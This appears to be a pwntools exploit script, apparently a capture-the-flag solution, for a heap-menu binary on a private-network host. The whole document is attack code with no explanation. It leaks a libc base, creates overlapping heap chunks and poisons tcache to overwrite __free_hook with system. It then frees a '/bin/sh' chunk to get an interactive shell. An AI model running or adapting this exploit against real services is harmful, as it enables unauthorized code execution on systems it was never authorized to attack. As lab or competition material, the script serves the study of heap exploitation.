1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import* context.log_level = 'debug'
p = remote('192.168.38.158','2002')
elf = ELF('./main') libc = ELF('./libc.so.6')
def add1(size): p.sendlineafter('>','1') p.sendlineafter('>','1') p.sendlineafter(':',str(size))
def add2(size): p.sendlineafter('>','1') p.sendlineafter('>','2') p.sendlineafter(':',str(size))
def edit(page,con): p.sendlineafter('>','2') p.sendlineafter(':',str(page)) p.sendlineafter(':',con)
def show(page): p.sendlineafter('>','3') p.sendlineafter(':',str(page))
def dele(page): p.sendlineafter('>','4') p.sendlineafter(':',str(page))
add1(0xf0) add1(0xf0) add1(0xf0) add1(0xf0) add1(0xf0) add1(0xf0) add1(0xf0) add1(0xf0) add1(0x38) add1(0xf0) add1(0xf0) for i in range(8): dele(i) add1(0) show(0) libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))+0x7f797bec98e8-0x7f797c2b5678
edit(8,'a'*0x30+p64(0xe0+0x40)) dele(9) add1(0xd8) edit(1,'/bin/sh\x00') add1(0x38) add1(0x30) dele(3) dele(8) edit(2,p64(libcbase+libc.sym['__free_hook'])) print("libc:"+hex(libcbase+libc.sym['__free_hook'])) add1(0x38)
add1(0x38) edit(4,p64(libcbase+libc.sym['system'])) dele(1)
''' chunk 0x000000000202060 ''' p.interactive()
|